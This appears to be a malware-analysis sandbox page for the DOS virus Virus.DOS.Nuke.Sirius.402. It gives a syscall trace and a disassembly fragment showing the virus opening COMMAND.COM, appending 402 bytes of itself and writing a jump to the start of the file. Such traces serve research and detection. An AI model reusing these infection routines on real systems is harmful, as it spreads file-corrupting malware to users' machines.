Sample viewer

vx.netlux.org/Virus.DOS.Nuke.Sirius.402

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:56.757110523Z 47 PC: 12a74 | Get disk transfer address
2018-12-17T22:44:56.758362505Z 26 PC: 12a86 | Set disk transfer address
2018-12-17T22:44:56.760312859Z 25 PC: 12a95 | Get default drive
2018-12-17T22:44:56.761849008Z 14 PC: 12a9f | Set default drive (Drive = 'C')
2018-12-17T22:44:56.763607886Z 78 PC: 12aac | Find first file
2018-12-17T22:44:56.771142818Z 67 PC: 12ad9 | Get or set file attributes
2018-12-17T22:44:56.778180828Z 67 PC: 12ae6 | Get or set file attributes
2018-12-17T22:44:57.454274017Z 61 PC: 12aee | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:44:57.465965538Z 87 PC: 12af5 | Get or set file date and time
2018-12-17T22:44:57.467934013Z 44 PC: 12b03 | Get time 0x12b03: or dl, dl
0x12b05: je 0x12aff
0x12b07: mov byte ptr [bp + 0x18c], dl
0x12b0b: mov ah, 0x3f
0x12b0d: lea dx, word ptr [bp + 0x15a]
0x12b11: mov cx, 3
0x12b14: int 0x21
0x12b16: mov ax, 0x4202
0x12b19: xor cx, cx
0x12b1b: xor dx, dx
0x12b1d: int 0x21
0x12b1f: sub ax, 3
0x12b22: mov word ptr cs:[0xfb2d], ax
0x12b26: mov byte ptr cs:[0xfb2c], 0xe9
0x12b2c: lea si, word ptr [bp - 3]
0x12b2f: nop
0x12b30: mov di, 0xfcbc
0x12b33: mov cx, 0x192
0x12b36: cld
0x12b37: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:44:57.470699754Z 63 PC: 12b16 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:44:57.487490668Z 66 PC: 12b1f | Move file pointer
2018-12-17T22:44:57.489287398Z 64 PC: 12b49 | Write file or device (Write 402 bytes on handle 5)
2018-12-17T22:44:57.496775267Z 66 PC: 12b52 | Move file pointer
2018-12-17T22:44:57.503721533Z 64 PC: 12b5c | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:44:57.508310931Z 87 PC: 12b71 | Get or set file date and time
2018-12-17T22:44:57.511282205Z 62 PC: 12b75 | Close file
2018-12-17T22:44:57.51895881Z 67 PC: 12b82 | Get or set file attributes
2018-12-17T22:44:57.550888713Z 26 PC: 12b91 | Set disk transfer address
2018-12-17T22:44:57.552459099Z 14 PC: 12b9b | Set default drive (Drive = 'A')